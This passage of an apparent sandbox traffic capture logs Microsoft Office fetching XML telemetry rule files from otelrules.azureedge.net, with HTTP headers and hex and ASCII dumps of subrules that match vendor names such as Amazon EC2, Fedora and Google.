<S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:03 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:03 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012803Z-16849878b78qf2gleqhwczd21s00000007kg000000007v0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:03 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:03 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b2eb4648-201e-0051-526d-287340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012803Z-r197bdfb6b4skzzvqpzzd3xetg00000006s000000000awsu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:04 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: f826faa8-301e-0099-1457-266683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012804Z-r197bdfb6b4gx6v9pg74w9f47s00000009b000000000e9zt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:04 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:04 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 84cbfce0-201e-0071-26f6-26ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012804Z-17c5cb586f6w4mfs5xcmnrny6n0000000960000000006g48 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:04 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:04 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:04 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012804Z-15b8d89586f8l5961kfst8fpb00000000k40000000006hhc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:04 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:04 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:04 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5feeb856-001e-008d-0ae8-28d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012804Z-15b8d89586fcvr6p5956n5d0rc0000000d9g00000000kqta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:04 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:04 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:04 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 447b9191-101e-0017-54f0-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012804Z-17c5cb586f65j4snvy39m6qus400000002hg00000000k9u9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:04 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:05 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 76dad30c-801e-0083-5fe5-27f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012805Z-17c5cb586f62blg5ss55p9d6fn000000086g000000006nw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:05 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:05 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012805Z-16849878b78xblwksrnkakc08w00000006q0000000001t1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:05 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 0697abc8-001e-00ad-714f-28554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012805Z-15b8d89586fpccrmgpemqdqe5800000002ag000000000m21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:05 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:05 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012805Z-16849878b78nx5sne3fztmu6xc000000089000000000fymx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:05 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012805Z-16849878b78sx229w7g7at4nkg00000005k000000000f5ez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data 